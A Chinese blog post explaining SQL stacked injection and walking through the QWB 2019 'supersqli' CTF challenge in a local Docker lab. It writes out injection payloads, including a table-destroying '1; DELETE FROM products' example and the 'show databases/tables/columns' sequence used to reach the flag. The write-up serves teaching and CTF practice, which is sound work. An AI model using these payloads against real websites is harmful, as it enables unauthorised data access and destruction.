sql堆叠注入

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

 

个人简单理解就是 执行 分号; 后面的语句 

复现准备:Linux+docker

 

安装docker

sudo apt-get install docker docker-compose

 

 

 

 service docker start

 

 

 

下载环境

sudo git clone https://github.com/CTFTraining/qwb_2019_supersqli
进入目录

cd qwb_2019_supersqli/

安装

sudo docker-compose up -d

 

 

 

打开地址

http://127.0.0.1:8302/

 

 

执行1,返回一些数据

 

 

 

 

1‘  返回sql语法错误 证明存在注入

 

 

 

1‘ order by 2#   正常返回数据 order by 3返回错误 证明只有两个字段

 

 

1‘ union select 1,2#  联合注入返回一个正则过滤规则,证明常规联合注入不行

 

 

 

尝试堆叠注入

1';show databases;#   执行分号后 show databases;  语句  成功返回

 

 

 

 

1';show tables;#   列表

 

 

1';show columns from `1919810931114514`; #       `1919810931114514` 对数字为表名的表进行操作需要加上  `  符号

  拿到 flag

 

 

参考文章:https://blog.csdn.net/qq_26406447/article/details/90643951

 

posted @   一个路过的小黑  阅读(347)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示